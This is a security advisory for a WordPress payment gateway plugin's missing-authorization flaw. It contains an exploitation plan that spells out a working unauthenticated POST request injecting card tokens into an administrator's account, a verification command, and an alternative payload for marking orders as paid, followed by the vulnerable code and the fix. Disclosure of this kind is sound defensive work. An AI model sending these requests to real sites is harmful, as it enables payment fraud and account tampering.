Peach Payments Gateway <= 4.0.2 - Missing Authorization
Description
The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.0.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.0.2What Changed in the Fix
Changes introduced in v4.0.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-57408 ## 1. Vulnerability Summary The Peach Payments Gateway plugin (versions <= 4.0.2) is vulnerable to **Missing Authorization** within its `init` hook handler located in `includes/class-init.php`. The plugin registers an anonymous function on the `init` ho…
Show full research plan
Exploitation Research Plan - CVE-2026-57408
1. Vulnerability Summary
The Peach Payments Gateway plugin (versions <= 4.0.2) is vulnerable to Missing Authorization within its init hook handler located in includes/class-init.php. The plugin registers an anonymous function on the init hook that processes card registration returns from the Peach Payments gateway.
This handler fails to perform any capability checks or nonce verification. Furthermore, it allows the user_id to be specified directly in the $_POST['customParameters']['WOOCOMMERCE_USER'] parameter. An unauthenticated attacker can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any WordPress user, including administrators.
2. Attack Vector Analysis
- Endpoint: Any frontend or backend URL (the handler runs on the
inithook). - Trigger: The request must include the query parameter
pp_add_card_return. - Method:
POST. - Authentication: None (unauthenticated).
- Vulnerable Sink:
update_user_meta($user_id, 'my-cards', $cards). - Payload Parameters:
customParameters[WOOCOMMERCE_USER]: The target user's ID (e.g.,1).registrationId: The malicious token/string to inject.result_code: A code signifying success (e.g.,000.000.000).- Supplemental card display fields:
card_last4Digits,card_holder,paymentBrand,card_expiryMonth,card_expiryYear.
3. Code Flow
- Hook Entry:
WC_Peach_Gateway_Init::init()(inincludes/class-init.php) registers an anonymous function on theinithook (line 88). - Conditional Check: The function checks if
isset( $_GET['pp_add_card_return'] )(line 89). - User Identification: It extracts the target user ID from
$_POST['customParameters']['WOOCOMMERCE_USER'](lines 92-93). - Result Validation: It checks if
PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code'])returns true (line 102). - Metadata Update: If successful, it constructs a
$card_dataarray and appends it to the target user'smy-cardsmeta viaupdate_user_meta(line 119).
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce. The vulnerable logic is located within an init hook that serves as a callback for the Peach Payments gateway. Because it is designed to receive asynchronous POST requests from an external service, it lacks standard WordPress CSRF (nonce) protections and fails to implement any alternative verification (such as request signing or IP whitelisting).
5. Exploitation Strategy
The goal is to inject a "malicious" card token into the Administrator's account (User ID 1).
HTTP Request (via http_request tool):
- URL:
http://localhost:8080/?pp_add_card_return=1 - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
registrationId=MALICIOUS_TOKEN_CVE_2026_57408
&result_code=000.000.000
&customParameters[WOOCOMMERCE_USER]=1
&card_last4Digits=1337
&card_holder=Attacker
&paymentBrand=VISA
&card_expiryMonth=12
&card_expiryYear=2030
(Note: 000.000.000 is the standard Peach Payments success code (inferred from class-peach-api.php)).
6. Test Data Setup
- Ensure the Peach Payments Gateway plugin (version 4.0.2) is installed and active.
- Ensure WooCommerce is active.
- Confirm that an administrator user exists with ID
1.
7. Expected Results
- The server should return a
200 OKor302 Redirect(depending on subsequent redirection logic ininit). - The
wp_usermetatable will be updated for user1. - A new entry will be added to the
my-cardsmeta key containing theregistrationId"MALICIOUS_TOKEN_CVE_2026_57408".
8. Verification Steps
After sending the HTTP request, verify the injection using WP-CLI:
wp user meta get 1 my-cards
Expected output:
A serialized array (or PHP object representation) containing the injected card data:
array(
array(
'id' => 'MALICIOUS_TOKEN_CVE_2026_57408',
'num' => 'xxxx-1337',
'holder' => 'Attacker',
'brand' => 'VISA',
'exp_month' => '12',
'exp_year' => '2030',
)
)
9. Alternative Approaches
IPN Handler Exploitation
The PP_Gateway_IPN_Handler::handle_ipn function (in includes/class-ipn-handler.php) is registered to the woocommerce_api_wc_gateway_peach_hosted hook.
- Endpoint:
/wc-api/wc_gateway_peach_hosted - Vulnerability: It also lacks authorization and processes a JSON payload.
- Payload:
{ "merchantTransactionId": "ORDER_NUMBER_HERE", "status": "SUCCESS", "id": "PAYMENT_ID" }
If the function PP_Gateway_Order_Utils::find_order_by_number is modified or functional in the target environment to successfully return a WC_Order object, an attacker could mark any order as "Paid" or "Completed" by guessing the order number. This acts as a secondary "Missing Authorization" vector within the same plugin.
Summary
The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized data injection due to a missing authorization check in its card registration return handler. Unauthenticated attackers can exploit this to inject arbitrary card tokens (registration IDs) into the metadata of any user account, including administrators, by supplying the target user's ID in a crafted request.
Vulnerable Code
// includes/class-init.php:88 add_action( 'init', function() { if ( isset( $_GET['resourcePath'] ) && isset( $_GET['order_id'] ) ) { $gateway = new WC_Gateway_Peach_Hosted(); $gateway->handle_peach_return(); } if ( isset($_GET['pp_add_card_return']) ) { if(isset($_POST)){ if(isset($_POST['customParameters']['WOOCOMMERCE_USER'])){ $user_id = (int)$_POST['customParameters']['WOOCOMMERCE_USER']; if(isset($_POST['registrationId']) && isset($_POST['result_code'])){ if(PP_Gateway_Order_Utils::is_successful_result_code($_POST['result_code'])){ $user_tokens = PP_Gateway_Order_Utils::get_user_card_tokens( $user_id ); $registration_id = $_POST['registrationId']; if(empty($user_tokens) || !in_array($registration_id,$user_tokens)){ $card_data = [ 'id' => $registration_id, 'num' => 'xxxx-'.$_POST['card_last4Digits'], 'holder' => $_POST['card_holder'], 'brand' => $_POST['paymentBrand'], 'exp_month' => $_POST['card_expiryMonth'], 'exp_year' => $_POST['card_expiryYear'], ]; $cards = get_user_meta( $user_id, 'my-cards', true ); if ( ! is_array( $cards ) ) { $cards = []; } $cards[] = $card_data; update_user_meta( $user_id, 'my-cards', $cards ); } } } } } } });
Security Fix
@@ -90,7 +90,7 @@ if ( isset($_GET['pp_add_card_return']) ) { if(isset($_POST)){ - if(isset($_POST['customParameters']['WOOCOMMERCE_USER'])){ + if(isset($_POST['customParameters']['WOOCOMMERCE_USER']) && is_user_logged_in() && get_current_user_id() === (int)$_POST['customParameters']['WOOCOMMERCE_USER']){ $user_id = (int)$_POST['customParameters']['WOOCOMMERCE_USER']; // Add Card return handler logging (POST back from Peach).
Exploit Outline
The vulnerability is triggered by sending an unauthenticated POST request to the WordPress site's root (or any page) with the `pp_add_card_return` query parameter. An attacker can specify a target user (e.g., an administrator with ID 1) using the `customParameters[WOOCOMMERCE_USER]` POST parameter. By including a valid success code in `result_code` (e.g., `000.000.000`) and a malicious string in `registrationId`, the attacker can inject a fraudulent card token into the target user's `my-cards` metadata. This occurs because the plugin fails to verify if the request originated from the payment gateway or if the current session belongs to the user being updated.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.